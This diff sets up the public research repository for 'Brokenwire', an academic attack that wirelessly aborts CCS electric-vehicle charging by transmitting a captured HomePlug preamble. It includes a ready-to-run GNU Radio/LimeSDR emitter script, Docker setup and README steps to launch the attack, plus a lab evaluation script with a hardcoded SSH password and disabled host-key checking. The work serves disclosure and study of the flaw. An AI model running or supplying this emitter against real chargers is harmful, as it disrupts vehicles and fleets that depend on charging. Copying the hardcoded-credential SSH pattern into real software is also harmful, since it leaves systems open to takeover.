diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..5d7beea --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +*.DS_Store* +*__pycache__* +*.ipynb_checkpoints* diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..af5faff --- /dev/null +++ b/Dockerfile @@ -0,0 +1,31 @@ +FROM ubuntu:20.04 + +ENV LANG C.UTF-8 + +ARG DEBIAN_FRONTEND=noninteractive +ENV TZ=Europe/London +RUN apt -y update +RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone +RUN apt-get install -y tzdata +RUN apt -y install python3-pip wget git python-mako doxygen cmake build-essential texlive-fonts-recommended texlive-fonts-extra dvipng sshpass software-properties-common +RUN add-apt-repository -y ppa:gnuradio/gnuradio-releases +RUN apt -y install gnuradio +RUN apt -y install git cmake g++ libboost-all-dev libgmp-dev swig python3-numpy python3-mako python3-sphinx python3-lxml libfftw3-dev libsdl1.2-dev libgsl-dev libqwt-qt5-dev libqt5opengl5-dev python3-pyqt5 liblog4cpp5-dev libzmq3-dev python3-yaml python3-click python3-click-plugins python3-zmq python3-scipy python3-gi python3-gi-cairo gobject-introspection gir1.2-gtk-3.0 + +RUN apt -y install limesuite limesuite-udev + +WORKDIR /home + +ADD ./code /home/code +WORKDIR /home/code + +### Make sure the newest numpy version is installed +RUN pip3 install --upgrade numpy + +### Install Pyhton Requirements and Jupyter ### +RUN pip3 install -r req +RUN pip3 install --upgrade jupyter +RUN pip3 install jupyterlab + +### Start a shell +CMD ["/bin/bash"] diff --git a/README.md b/README.md index f3c2685..9826a4a 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,74 @@ -# Brokenwire: Wireless Disruption of CCS EV Charging +

-This repository will contain the evaluation source code for our paper Brokenwire once the embargo period has passed. +# Brokenwire: Wireless Disruption of CCS Electric Vehicle Charging + +This repository contains the evaluation source code used in our NDSS paper [**Brokenwire: Wireless Disruption of CCS Electric Vehicle Charging**](https://www.ndss-symposium.org/wp-content/uploads/2023/02/ndss2023_s251_paper.pdf). + +Brokenwire is a novel attack against the **Combined Charging System (CCS)**, one of the most widely used DC rapid charging technologies for electric vehicles (EVs). +The attack interrupts necessary control communication between the vehicle and charger, **causing charging sessions to abort**. +The attack can be conducted wirelessly from a distance using electromagnetic interference, allowing individual vehicles or entire fleets to be disrupted simultaneously. +In addition, the attack can be mounted with off-the-shelf radio hardware and minimal technical knowledge. +With a power budget of 1 W, the attack is successful from around **47 m** distance. +The **exploited CSMA/CA behavior** is a required part of the HomePlug GreenPHY, DIN 70121 & ISO 15118 standards and all known implementations exhibit it. + +Brokenwire has immediate implications for many of the **12 million** battery EVs estimated to be on the roads worldwide — and profound effects on the new wave of electrification for vehicle fleets, both for private enterprise and for crucial public +services. +In addition to electric cars, Brokenwire affects **electric ships, airplanes and heavy duty vehicles**. +As such, we conducted a disclosure to industry and discuss in our paper a range of mitigation techniques that could be deployed to limit the impact. + +You can also learn more about Brokenwire on our [**website**](https://brokenwire.fail). + +## Structure of the Repository +This repository is organized as follows: + +``` +. # root directory of the repository +├── code # contains the evaluation source code +│ ├── lab_evaluation # files used for the lab evaluation +│ │ └── collect_data.py # Python script used to evaluate Brokenwire in a controlled lab setting +│ ├── lib # various Python classes required for the evaluation +│ │ │── EvaluationUtils.py # library that helps running the lab evaluation +│ │ └── IPerfEvaluation.py # Python class used for the lab evaluation +│ ├── req # text file that contains all the Python requirements +│ └── scripts # directory that contains additional evaluation scripts +│ └── preamble_emission.py # Python script that emits the preamble with a LimeSDR +├── data # directory that contains required files +│ └── preambles # directory that contains the preamble +│ └── captured_preamble.dat # captured preamble used for the attack +├── docker-compose.yml # configuration file of the Docker container +├── Dockerfile # build instructions for the Docker container +└── README.md # this README file +``` + +## Running the Docker Container +This repository contains all configuration and source code files necessary to run the Brokenwire attack. +To ensure a quick and easy deployment, we provide a Dockerfile to build a container with all the required dependencies. +
**Please note**, to immediately get started with this repository, you will need `docker`, `docker-compose` and a LimeSDR. + +The following steps outline how to build and run the Docker container and execute the Brokenwire attack: + + * `git clone https://github.com/ssloxford/brokenwire.git` + * `cd brokenwire/` + * `docker-compose build` + * `docker-compose up -d` + +Once the container is up and running, you can attach to it + +`docker attach brokenwire` + +and run the following command to start the attack: + +`python3 /home/code/scripts/preamble_emission.py --lime-sdr-gain LIMESDR_GAIN` + +where LIMESDR_GAIN is a value between -12 and 64. + +## Recommended Equipment + +To run the Brokenwire attack, a software-defined radio that can transmit at a center frequency of 17 MHz with a sample rate >= 25MSPS is required. +While any SDR with the these properties should work, our source code is tailored to the use of a LimeSDR. +Since Brokenwire is a very effective attack and does not require a high transmission power, testing the attack should not require any additional amplification. + +## Contributors + * [Sebastian Köhler](https://cs.ox.ac.uk/people/sebastian.kohler) + * [Richard Baker](https://www.cs.ox.ac.uk/people/richard.baker) + * [Martin Strohmeier](https://www.cs.ox.ac.uk/people/martin.strohmeier) diff --git a/code/lab_evaluation/collect_data.py b/code/lab_evaluation/collect_data.py new file mode 100644 index 0000000..e7a4b6b --- /dev/null +++ b/code/lab_evaluation/collect_data.py @@ -0,0 +1,169 @@ +import sys +sys.path.append("/home/code/lib/") + +from EvaluationUtils import EvaluationUtils +from IPerfEvaluation import IPerfEvaluation +import numpy as np +import argparse +import copy +import glob +import subprocess +import os +from subprocess import Popen +import time +import json + +class ConnectionError(Exception): + pass + +def set_noise_level(noise_level): + # Before setting the noise, make sure that no noise output is currently running + end_noise_output() + output_noise = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-evcc.lan", "/home/pi/evdisrupt-picoscope-awgn/run.sh", str(noise_level)]) + time.sleep(5) + output_noise.terminate() + +def end_noise_output(): + #sudo pkill -INT python3 + kill_previous_output = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-evcc.lan", "sudo", "pkill", "-INT", "python3"]) + # Wait for 5 seconds to give docker enough time to shutdown + time.sleep(5) + kill_previous_output.terminate() + +def emit_preamble(preamble, lime_sdr_gain): + run_gnuradio_script = Popen(["python3", "/home/code/scripts/preamble_emission.py", "--preamble", str(preamble), "--lime-sdr-gain", str(lime_sdr_gain)]) + time.sleep(10) + return run_gnuradio_script + +def run_iperf(iperf_evaluation): + + # IPerf Settings + ip = "192.168.2.1" + port = "1234" + evaluation_time = iperf_evaluation.evaluation_time + bandwidth = "5M" + + # Start the IPerf Server + iperf_server = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-secc.lan", "iperf3", "-s", "-p", port, "-J", "-1"], stdout=subprocess.PIPE) + # Sleep for a little while to make sure the IPerf Server is up and running + time.sleep(5) + + # Start the IPerf Client + # Possible error: iperf3: error - unable to connect to server: No route to host + iperf_client = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-evcc.lan", "iperf3", "-u", "-b", bandwidth, "-t", str(evaluation_time), "-p", port, "-c", ip], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + try: + iperf_client.wait(timeout=(evaluation_time + 5)) + except: + iperf_server.terminate() + iperf_client.terminate() + return + + iperf_client_output = iperf_client.communicate()[1].decode('utf-8') + print(iperf_client_output) + + if "unable to connect to server" in str(iperf_client_output) or str(iperf_client_output) != "": + print(f"FAILED: {iperf_client_output}") + iperf_server.terminate() + iperf_client.terminate() + raise ConnectionError('No connection to server possible!') + + # Wait for the process, if no client connected kill the process + iperf_server.wait(timeout=20) + # Get the output from the IPerf Server Process + iperf_server_output = iperf_server.communicate()[0].decode('utf-8') + #print(iperf_server_output) + + # Extract the important info from the IPerf Run + iperf_json_output = json.loads(iperf_server_output) + try: + iperf_summary = iperf_json_output["end"]["sum"] + iperf_evaluation.jitter = iperf_summary["jitter_ms"] + iperf_evaluation.lost = iperf_summary["lost_packets"] + iperf_evaluation.sent = iperf_summary["packets"] + iperf_evaluation.loss = iperf_summary["lost_percent"] + iperf_evaluation.print_results() + except: + pass + + # Make sure both processes are terminated + iperf_server.terminate() + iperf_client.terminate() + +def run_evaluation(number_of_runs, iperf_evaluation): + noise_levels = [0] + + if iperf_evaluation.preamble is None: + preambles = glob.glob("/home/data/preambles/*.dat") + else: + preambles = [iperf_evaluation.preamble] + + lime_sdr_min_gain = 12 + lime_sdr_max_gain = 64 + gain_step_size = 2 + + for preamble in preambles: + + # Repeat attack evaluation + for run in range(number_of_runs): + for noise_level in noise_levels: + #end_noise_output() + iperf_results = [] + # Count how often the communication was interrupted + interruption_counter = 0 + + #if noise_level > 0: + #end_noise_output() + #set_noise_level(noise_level) + # Wait for 15 seconds to make sure the Picoscope has been initilized + #time.sleep(15) + + # Iterate from lowest LimeSDR gain to highest + for lime_sdr_gain in range(lime_sdr_min_gain, lime_sdr_max_gain + 1, gain_step_size): + current_evaluation_run = copy.deepcopy(iperf_evaluation) + current_evaluation_run.lime_sdr_gain = lime_sdr_gain + current_evaluation_run.noise_level = noise_level + + if interruption_counter > 1: + print("Now reached the maximum number of tries") + current_evaluation_run.loss = 100 + iperf_results.append(current_evaluation_run) + continue + + + gnuradio_process = emit_preamble(preamble, lime_sdr_gain) + time.sleep(4) + + try: + run_iperf(current_evaluation_run) + except ConnectionError: + print("Catching ConnectionError Exception") + current_evaluation_run.loss = 100 + interruption_counter += 1 + + gnuradio_process.terminate() + time.sleep(4) + + iperf_results.append(current_evaluation_run) + + EvaluationUtils.save_results("results_20211214.csv", iperf_results) + time.sleep(5) + #end_noise_output() + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description='Run evaluation for specific distance.') + parser.add_argument('--distance', '-d', type=float, help='Distance between PLC and transmitter (m).', required=True) + parser.add_argument('--amplifier', '-a', type=str, help='Amplifier.', required=False, default="1W") + parser.add_argument('--voltage', '-v', type=float, help='Amplifier Voltage.', required=False, default=12.0) + parser.add_argument('--current', '-c', type=float, help='Amplifier Current.', required=False, default=0.31) + parser.add_argument('--preamble', '-p', type=str, help='Path to the preamble.', required=False) + parser.add_argument('--time', '-t', type=int, help='Attack duration in seconds.', required=False, default=30) + parser.add_argument('--cable_length', type=int, help='Length of the charging cable (m).', required=False, default=4) + parser.add_argument('--angle', type=int, help='Angle between attacker and charging cable.', required=False, default=0) + parser.add_argument('--antenna_position', type=str, help='Description of antenna position.', required=False, default="Nearly centered, parallel") + parser.add_argument('--antenna', type=str, help='Description of antenna setting.', required=False, default="One dipole unrolled, one rolled") + parser.add_argument('--number_of_runs', '-r', type=int, help='Number of runs.', required=False, default=1) + args = parser.parse_args() + + iperf_evaluation = IPerfEvaluation(args.distance, args.amplifier, args.voltage, args.current, args.preamble, args.time, args.cable_length, args.angle, args.antenna_position, args.antenna) + + run_evaluation(args.number_of_runs, iperf_evaluation) diff --git a/code/lib/EvaluationUtils.py b/code/lib/EvaluationUtils.py new file mode 100644 index 0000000..98fe818 --- /dev/null +++ b/code/lib/EvaluationUtils.py @@ -0,0 +1,23 @@ +import glob +import sys +sys.path.append("../lib/") + +import pandas as pd +import os +import numpy as np + +class EvaluationUtils: + + # This method takes an object, converts it into a dict and stores it into a CSV file + def save_results(file_name, results): + if len(results) > 0: + data_frame = pd.DataFrame(columns=results[0].to_dict().keys()) + for result in results: + data_frame = data_frame.append(result.to_dict(), ignore_index=True) + + # Check if file exists, if so, append the file. + # If not, create a new one. + if os.path.isfile(file_name): + data_frame.to_csv(file_name, mode='a', header=False, index=False) + else: + data_frame.to_csv(file_name, index=False) diff --git a/code/lib/IPerfEvaluation.py b/code/lib/IPerfEvaluation.py new file mode 100644 index 0000000..633431c --- /dev/null +++ b/code/lib/IPerfEvaluation.py @@ -0,0 +1,30 @@ +class IPerfEvaluation(): + + noise_level = 0 + lime_sdr_gain = 0 + output_power = 0 + jitter = 0 + lost = 0 + sent = 0 + loss = 100 + + def __init__(self, distance, amplifier, voltage, current, preamble, evaluation_time, cable_length, angle, antenna_position, antenna): + self.distance = distance + self.amplifier = amplifier + self.voltage = voltage + self.current = current + self.preamble = preamble + self.evaluation_time = evaluation_time + self.cable_length = cable_length + self.angle = angle + self.antenna_position = antenna_position + self.antenna = antenna + + def to_dict(self): + return self.__dict__ + + def print(self): + print(f"IPerf Evaluation:\n\tDistance: {self.distance}\n\tAmplifier: {self.amplifier}\n\tVoltage: {self.voltage}\n\tCurrent: {self.current}\n\tPreamble: {self.preamble}\n\tEvaluation Time: {self.evaluation_time}\n\tCable Length: {self.cable_length}\n\tAngle: {self.angle}\n\tAntenna Position: {self.antenna_position}\n\tAntenna: {self.antenna}") + + def print_results(self): + print(f"Results for Noise Level: {self.noise_level} and Gain: {self.lime_sdr_gain}\nLost: {self.lost}\nSent: {self.sent}\nLoss: {self.loss}") diff --git a/code/req b/code/req new file mode 100644 index 0000000..fbf4311 --- /dev/null +++ b/code/req @@ -0,0 +1,6 @@ +mako +jupyter +numpy +matplotlib +pyzbar +pandas diff --git a/code/scripts/preamble_emission.py b/code/scripts/preamble_emission.py new file mode 100644 index 0000000..bc4d358 --- /dev/null +++ b/code/scripts/preamble_emission.py @@ -0,0 +1,136 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +# +# SPDX-License-Identifier: GPL-3.0 +# +# GNU Radio Python Flow Graph +# Title: Not titled yet +# GNU Radio version: 3.9.2.0 + +from gnuradio import blocks +import pmt +from gnuradio import gr +from gnuradio.filter import firdes +from gnuradio.fft import window +import sys +import signal +from argparse import ArgumentParser +from gnuradio.eng_arg import eng_float, intx +from gnuradio import eng_notation +from gnuradio import soapy + + + + +class preamble_emission(gr.top_block): + + def __init__(self, preamble='/home/data/preambles/captured_preamble.dat', lime_sdr_gain=-12): + gr.top_block.__init__(self, "Brokenwire", catch_exceptions=True) + + ################################################## + # Parameters + ################################################## + self.preamble = preamble + self.lime_sdr_gain = lime_sdr_gain + + ################################################## + # Variables + ################################################## + self.samp_rate = samp_rate = 25e6 + self.freq = freq = 17e6 + + ################################################## + # Blocks + ################################################## + self.soapy_limesdr_sink_0 = None + dev = 'driver=lime' + stream_args = '' + tune_args = [''] + settings = [''] + + self.soapy_limesdr_sink_0 = soapy.sink(dev, "fc32", 1, '', + stream_args, tune_args, settings) + self.soapy_limesdr_sink_0.set_sample_rate(0, samp_rate) + self.soapy_limesdr_sink_0.set_bandwidth(0, 0.0) + self.soapy_limesdr_sink_0.set_frequency(0, freq) + self.soapy_limesdr_sink_0.set_frequency_correction(0, 0) + self.soapy_limesdr_sink_0.set_gain(0, min(max(lime_sdr_gain, -12.0), 64.0)) + self.blocks_file_source_0 = blocks.file_source(gr.sizeof_gr_complex*1, preamble, True, 0, 0) + self.blocks_file_source_0.set_begin_tag(pmt.PMT_NIL) + + + + ################################################## + # Connections + ################################################## + self.connect((self.blocks_file_source_0, 0), (self.soapy_limesdr_sink_0, 0)) + + + def get_preamble(self): + return self.preamble + + def set_preamble(self, preamble): + self.preamble = preamble + self.blocks_file_source_0.open(self.preamble, True) + + def get_lime_sdr_gain(self): + return self.lime_sdr_gain + + def set_lime_sdr_gain(self, lime_sdr_gain): + self.lime_sdr_gain = lime_sdr_gain + self.soapy_limesdr_sink_0.set_gain(0, min(max(self.lime_sdr_gain, -12.0), 64.0)) + + def get_samp_rate(self): + return self.samp_rate + + def set_samp_rate(self, samp_rate): + self.samp_rate = samp_rate + self.soapy_limesdr_sink_0.set_sample_rate(0, self.samp_rate) + + def get_freq(self): + return self.freq + + def set_freq(self, freq): + self.freq = freq + self.soapy_limesdr_sink_0.set_frequency(0, self.freq) + + + +def argument_parser(): + parser = ArgumentParser() + parser.add_argument( + "--preamble", dest="preamble", type=str, default='/home/data/preambles/captured_preamble.dat', + help="Set Preamble [default=%(default)r]") + parser.add_argument( + "--lime-sdr-gain", dest="lime_sdr_gain", type=intx, default=-12, + help="Set LimeSDR Gain [default=%(default)r]") + return parser + + +def main(top_block_cls=preamble_emission, options=None): + if options is None: + options = argument_parser().parse_args() + tb = top_block_cls(preamble=options.preamble, lime_sdr_gain=options.lime_sdr_gain) + + def sig_handler(sig=None, frame=None): + tb.stop() + tb.wait() + + sys.exit(0) + + signal.signal(signal.SIGINT, sig_handler) + signal.signal(signal.SIGTERM, sig_handler) + + tb.start() + +# try: +# input('Press Enter to quit: ') +# except EOFError: +# pass + #tb.stop() + tb.wait() + + +if __name__ == '__main__': + main() diff --git a/data/brokenwire_logo.png b/data/brokenwire_logo.png new file mode 100644 index 0000000..ff8ed01 Binary files /dev/null and b/data/brokenwire_logo.png differ diff --git a/data/preambles/captured_preamble.dat b/data/preambles/captured_preamble.dat new file mode 100644 index 0000000..a46a86a Binary files /dev/null and b/data/preambles/captured_preamble.dat differ diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..c5b4910 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,19 @@ +version: "3.5" +services: + brokenwire: + build: + context: . + dockerfile: Dockerfile + network_mode: "host" + privileged: true + image: brokenwire:brokenwire + environment: + - DISPLAY=$DISPLAY + container_name: brokenwire + stdin_open: true + tty: true + volumes: + - "/dev:/dev" + - "/proc:/proc" + - "./code:/home/code" + - "./data:/home/data"